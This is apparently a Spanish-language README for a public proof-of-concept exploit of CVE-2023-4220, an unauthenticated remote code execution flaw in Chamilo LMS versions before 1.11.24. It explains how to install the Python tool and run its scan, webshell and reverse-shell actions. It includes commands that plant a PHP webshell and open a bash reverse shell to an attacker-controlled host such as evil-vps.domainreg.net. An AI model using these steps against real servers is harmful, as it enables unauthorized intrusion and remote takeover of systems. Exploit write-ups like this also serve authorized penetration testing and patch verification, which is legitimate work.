charchit-subedi/chamilo-lms-unauthenticated-rce-pocEste es un script escrito en Python que permite la explotación de la vulnerabilidad de seguridad del software LMS Chamilo descrita en CVE-2023-4220
Este es un script escrito en Python que permite la explotación de la vulnerabilidad de seguridad del software Chamilo LMS descrita en CVE-2023-4220. El sistema es vulnerable en versiones anteriores a 1.11.24.
Clona el repositorio en tu máquina e instala las dependencias usando pip (se recomienda usar virtualenv para crear un entorno que separe estas instalaciones de las instalaciones globales)
git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc
cd chamilo-lms-unauthenticated-rce-poc
pip install -r requirements.txt
El script necesita la URL objetivo con la ruta raíz de Chamilo (como http://example.com/chamilo, http://example.com o http://chamilo.example.com) y una acción a realizar (hay tres disponibles: scan, webshell y revshell).
Esta acción verificará si el objetivo es vulnerable intentando acceder al endpoint /main/inc/lib/javascript/bigupload/files/.
python3 main.py -u http://example.com/chamilo -a scan
Esta acción creará un archivo webshell en PHP en el endpoint vulnerable.
python3 main.py -u http://example.com/chamilo -a webshell
Esta acción creará y ejecutará un archivo reverse shell de bash. Para ello, primero se creará un webshell usando el mismo método que en la acción anterior. Después, se ejecutarán algunos comandos para crear y ejecutar el archivo bash. Asegúrate de estar escuchando en el puerto que definiste con nc o cualquier otra utilidad para recibir la conexión inversa. Además, el host puede ser una IPv4 interna/pública válida (como 172.17.1.4 o 186.227.4.31) o el dominio que hayas registrado (como evil-vps.domainreg.net)
python3 main.py -u http://example.com/chamilo -a revshell